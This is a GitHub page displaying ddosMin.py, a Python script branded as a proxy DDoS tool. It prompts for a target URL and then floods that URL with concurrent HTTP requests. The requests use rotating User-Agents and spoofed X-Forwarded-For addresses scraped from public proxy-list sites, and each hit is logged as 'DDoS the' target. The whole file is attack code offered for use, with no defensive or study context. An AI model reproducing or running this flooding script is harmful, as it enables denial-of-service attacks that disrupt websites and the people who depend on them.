-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathddosMin.py
More file actions
100 lines (80 loc) · 5.97 KB
/
ddosMin.py
File metadata and controls
100 lines (80 loc) · 5.97 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import asyncio
import aiohttp
import random
from colorama import Fore
banner = Fore.RED + """
/***
* ██▓███ ██▀███ ▒█████ ▒██ ██▒▓██ ██▓▓█████▄ ▓█████▄ ▒█████ ██████
* ▓██░ ██▒▓██ ▒ ██▒▒██▒ ██▒▒▒ █ █ ▒░ ▒██ ██▒▒██▀ ██▌▒██▀ ██▌▒██▒ ██▒▒██ ▒
* ▓██░ ██▓▒▓██ ░▄█ ▒▒██░ ██▒░░ █ ░ ▒██ ██░░██ █▌░██ █▌▒██░ ██▒░ ▓██▄
* ▒██▄█▓▒ ▒▒██▀▀█▄ ▒██ ██░ ░ █ █ ▒ ░ ▐██▓░░▓█▄ ▌░▓█▄ ▌▒██ ██░ ▒ ██▒
* ▒██▒ ░ ░░██▓ ▒██▒░ ████▓▒░▒██▒ ▒██▒ ░ ██▒▓░░▒████▓ ░▒████▓ ░ ████▓▒░▒██████▒▒
* ▒▓▒░ ░ ░░ ▒▓ ░▒▓░░ ▒░▒░▒░ ▒▒ ░ ░▓ ░ ██▒▒▒ ▒▒▓ ▒ ▒▒▓ ▒ ░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░
* ░▒ ░ ░▒ ░ ▒░ ░ ▒ ▒░ ░░ ░▒ ░ ▓██ ░▒░ ░ ▒ ▒ ░ ▒ ▒ ░ ▒ ▒░ ░ ░▒ ░ ░
* ░░ ░░ ░ ░ ░ ░ ▒ ░ ░ ▒ ▒ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░
* ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
* ░ ░ ░ ░
* ▄▄▄█████▓ ██░ ██ ██▀███ ▓█████ ▄▄▄ ▓█████▄ ██▓ ██▓ ███▄ █ ▓█████
* ▓ ██▒ ▓▒▓██░ ██▒▓██ ▒ ██▒▓█ ▀▒████▄ ▒██▀ ██▌▓██▒ ▓██▒ ██ ▀█ █ ▓█ ▀
* ▒ ▓██░ ▒░▒██▀▀██░▓██ ░▄█ ▒▒███ ▒██ ▀█▄ ░██ █▌▒██░ ▒██▒▓██ ▀█ ██▒▒███
* ░ ▓██▓ ░ ░▓█ ░██ ▒██▀▀█▄ ▒▓█ ▄░██▄▄▄▄██ ░▓█▄ ▌▒██░ ░██░▓██▒ ▐▌██▒▒▓█ ▄
* ▒██▒ ░ ░▓█▒░██▓░██▓ ▒██▒░▒████▒▓█ ▓██▒░▒████▓ ░██████▒░██░▒██░ ▓██░░▒████▒
* ▒ ░░ ▒ ░░▒░▒░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ▓▒█░ ▒▒▓ ▒ ░ ▒░▓ ░░▓ ░ ▒░ ▒ ▒ ░░ ▒░ ░
* ░ ▒ ░▒░ ░ ░▒ ░ ▒░ ░ ░ ░ ▒ ▒▒ ░ ░ ▒ ▒ ░ ░ ▒ ░ ▒ ░░ ░░ ░ ▒░ ░ ░ ░
* ░ ░ ░░ ░ ░░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░
* ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
* ░
*/
"""
print(banner)
target_url = input(Fore.WHITE + "Enter URL: ")
UserAgents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Mozilla/5.0 (Linux; Android 11; SM-G981B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.210 Mobile Safari/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1",
]
ip_list_urls = [
"https://www.us-proxy.org",
"https://www.socks-proxy.net",
"https://proxyscrape.com/free-proxy-list",
"https://www.proxynova.com/proxy-server-list/",
"https://proxybros.com/free-proxy-list/",
]
async def fetch_ip_addresses(url):
async with aiohttp.ClientSession() as session:
try:
async with session.get(url) as response:
text = await response.text()
ip_addresses = text.splitlines()
print(f"Found {len(ip_addresses)} IP addresses from {url}")
return ip_addresses
except Exception as e:
print(f"Error fetching IP list from {url}: {e}")
return []
async def get_all_ips():
tasks = [fetch_ip_addresses(url) for url in ip_list_urls]
ip_lists = await asyncio.gather(*tasks)
all_ips = [ip for sublist in ip_lists for ip in sublist]
print(f"Total IP fetched: {len(all_ips)}")
return all_ips
num_requests = int(input("Enter the number of requests to send: ")) #6911 based on the devces
ip_list = asyncio.run(get_all_ips())
if num_requests > len(ip_list):
num_requests = len(ip_list)
async def send_request(ip_address):
headers = {
"User-Agent": random.choice(UserAgents),
"X-Forwarded-For": ip_address
}
try:
async with aiohttp.ClientSession() as session:
async with session.get(target_url, headers=headers) as response:
print(Fore.RED + f"[Fsociety]" + Fore.WHITE + f"DDoS the {target_url} from IP: {ip_address} - Status Code: {response.status}")
except Exception as e:
print(f"Error sending request from IP: {ip_address} - {e}")
async def main():
tasks = [send_request(ip) for ip in ip_list[:num_requests]]
await asyncio.gather(*tasks)
asyncio.run(main())